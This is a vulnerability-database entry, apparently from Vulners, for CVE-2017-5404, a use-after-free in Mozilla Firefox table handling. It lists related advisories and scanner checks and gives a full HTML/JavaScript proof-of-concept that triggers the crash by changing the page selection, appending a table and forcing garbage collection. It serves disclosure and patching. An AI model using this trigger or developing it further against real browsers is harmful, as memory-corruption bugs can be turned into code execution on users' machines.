Mozilla Firefox table use-after-free（CVE-2017-5404）

🗓️ 30 Mar 2017 00:00:00Reported by RootType

Mozilla Firefox use-after-free vulnerability in table handling (CVE-2017-5404). ASan log shows heap-use-after-free error during table creation, leading to potential security risk

Reporter	Title	Published	Views	Family All 156
0day.today	Mozilla Firefox - table Use-After-Free Exploit	20 Mar 201700:00	–	zdt
ALT Linux	Security fix for the ALT Linux 10 package firefox-esr version 52.0-alt1	8 May 201700:00	–	altlinux
IBM Security Bulletins	Security Bulletin: Multiple Mozilla Firefox vulnerability issues in IBM Storwize V7000 Unified.	18 Jun 201800:33	–	ibm
IBM Security Bulletins	Security Bulletin: Multiple Mozilla Firefox vulnerability issues in IBM SONAS	18 Jun 201800:33	–	ibm
FreeBSD	mozilla -- multiple vulnerabilities	7 Mar 201700:00	–	freebsd
Tenable Nessus	Mozilla Firefox < 52 Multiple Vulnerabilities	8 Mar 201700:00	–	nessus
Tenable Nessus	Mozilla Firefox ESR < 45.8 Multiple Vulnerabilities	8 Mar 201700:00	–	nessus
Tenable Nessus	CentOS 5 / 6 : firefox (CESA-2017:0459)	9 Mar 201700:00	–	nessus
Tenable Nessus	CentOS 7 : firefox (CESA-2017:0461)	9 Mar 201700:00	–	nessus
Tenable Nessus	CentOS 5 / 6 / 7 : thunderbird (CESA-2017:0498)	16 Mar 201700:00	–	nessus


                                                
<style>
body { display: table }
</style>
<script>
function freememory() {
  try { fuzzPriv.forceGC(); } catch(err) { alert('Please install domFuzzLite3'); }
}
function go() {
  var s = document.getSelection();
  window.find("1",true,false,true,false);
  s.modify("extend","forward","line");
  document.body.append(document.createElement("table"));
  freememory()
}
</script>
<body onload=go()>
<table>
<th>u~Z1Cqn`aA}SOkre=]{</th>
</table>
<progress></progress>

30 Mar 2017 00:00Current

9.3High risk

Vulners AI Score9.3

EPSS0.26462